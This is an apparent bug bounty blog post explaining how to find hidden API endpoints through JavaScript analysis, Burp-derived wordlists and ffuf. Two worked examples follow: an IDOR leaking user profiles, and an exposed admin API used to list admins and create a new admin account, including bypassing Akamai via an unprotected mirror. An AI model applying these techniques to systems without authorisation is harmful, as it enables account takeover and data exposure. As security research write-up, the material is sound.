Finding and Exploiting Unintended Functionality in Main Web App APIs

BurpJSLinkFinder is OP and needs to be 𝚗̶𝚎̶𝚛̶𝚏̶𝚎̶𝚍̶ buffed

Finding Single Page Apps and endpoints backed by APIs inside a Main Web App

Google Dorking.

Manual Enumeration via Browser + Passive Enumeration via Burp

This is just a @Jhaddix tip, why aren’t you reading his methodology??

JavaScript File and Endpoint Analysis

/api/v1/account/
/profile?id=
var profileURL = '/api/v1/account/' + type + '/profile?id=' + id

Custom Wordlist Creation

  1. Change the filter settings in Proxy History to remove all binary and image files
  2. Select a request, hit ctrl-A, right click, and select Save Items in the context menu. I save this as an XML file and keep the “Base64-encode requests and responses” options checked
  3. Run the script like so: python burplist.py burprequests.xml
  4. Use the clean_wordlist.sh script made by @BonJarber to remove junk words and nonsense
  5. Optimization tricks to clean the wordlist further include:
    - Remove all words with numbers
    - Convert to lowercase and remove duplicates (check if you target responds to upper case and lower case paths in the same way)
    - Tweak proxy history and scope to contain more specifically targeted endpoints and domains (i.e. only JavaScript files)

CLI Recon Tools

jq would work better here, I know.

Putting it all together + Exploitation

Example 1 — IDOR Leaking User Profile Data

  1. With a large burp project, I was able to export a custom tailored wordlist containing over 100k unique words using my burplist.py script
  2. I fired up ffuf to start brute forcing with this new wordlist and was quickly blocked by Akamai
  3. To continue scanning, I found a production mirror of the site in Spanish that wasn’t protected by Akamai and carried on. Looking for domains using the word “origin” works well here too.
  4. An interesting word triggered a 302 response and prompted for authentication. It was along the lines of https://example.com/MyExampleApp
  5. I navigated to the URL, logged in, and was redirected to something like https://example.com/MyExampleApp/dashboard
  6. BurpJSLinkFinder found a JS file at https://example.com/MyExampleApp/resources/scripts/main.js which contained dozens of links, many of which started with /api
 50 — /api/Account/Login
51 — /api/Account/LogOut
52 — /api/Account/Token
53 — /api/Account/CreateProfile
54 — /api/Account/GetProfile
55 — /api/Account/DeleteProfile
56 — /api/Account/UpdateProfile?
57 — /api/Account/UpdateUserPreferences?
this.baseUrl = "/MyExampleApp"login = function(content) {
var url = this.baseUrl + "/api/Account/Login";
var body = {
body: JSON.stringify(content),
};
return this.http.request("post", url, body)
}
237   https://www.example.com   POST /MyExampleApp/api/Account/Login
238 https://www.example.com GET /MyExampleApp/api/Account/Token
{"error":{"code":123,"message":"Invalid userName value"}}

Example 2 — API Information Disclosure and Privilege Escalation to Admin

  1. While reviewing Burp’s passively captured Site Map for the main web app of my target I came across an endpoint like so: https://www.example.com/xyzadmin/home
  2. “xyz” was an acronym for another product I had seen before, but I hadn’t seen this admin endpoint.
  3. When I navigated to the page, it was empty and had no interesting content. However, BurpJSLinkFinder totally lit up! It found over 450 URLs in a single javascript file called main.js
  4. There were a ton of juicy endpoints to find and test, but a few jumped out at me:
328 — /xyzadmin/api/Users/showUsers
329 — /xyzadmin/api/Users/showAdmins
{
"admins": [
{
"0": {
"email": "",
"firstName": null,
"lastName": null,
"userName": "admin",
"phoneNumber": "",
"password": null,
"userRole": "admin",
"id": "deadbeef-6969-f420-e911-cafebabe",
"active": true,
"type": "Admin"
}
}, {
"1": {
"email": "",
"firstName": null,
"lastName": null,
"userName": "admin2",
"phoneNumber": "",
"userRole": "admin",
"password": null,
"id": "deadbeef-aced-bead-baff-12345678",
"active": true,
"type": "Admin"
}
}
]
}
function createAdmin(){
var adm = new Admin()
adm.userName = this.newUserNameValue
adm.userRole = "Admin"
var body = new postBody({
user: adm,
modifiedBy: this.loggedInUser
})
this.client.AddOrUpdateAdmin(n)
}
{
"user": {
"email": "",
"firstName": null,
"lastName": null,
"userName": "bendtheory",
"phoneNumber": "",
"userRole": "admin",
"password": null,
"id": "deadbeef-aced-bead-baff-87654321",
"active": true,
"type": "Admin"
},
"modifiedBy": "bendtheory"
}

--

--

--

Hi! I'm Ben, a Web App Hacker, Bug Bounty Hunter, and Self-Taught Techno Entomologist

Love podcasts or audiobooks? Learn on the go with our new app.

Recommended from Medium

Angular Component communication using RxJS

Fastify writes logs to a Syslog file.

YouTube Video | Understanding React Context API -1

How to Make a SaaS Homepage using Bootstrap 5

How to use arrow functions in JavaScript

10 Important things about React

Adding multiplayer to our game (or how I learned to tame the Pikachu)

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store
Bend Theory

Bend Theory

Hi! I'm Ben, a Web App Hacker, Bug Bounty Hunter, and Self-Taught Techno Entomologist

More from Medium

How To Install Go Language in Kali Linux for Bug Bounty Hunting

Stored XSS: A Wordpress Cross-Platform Exploit

Cross Site Scripting

Bookwyrm Server Side Request Forgery

Are you using modern TLS?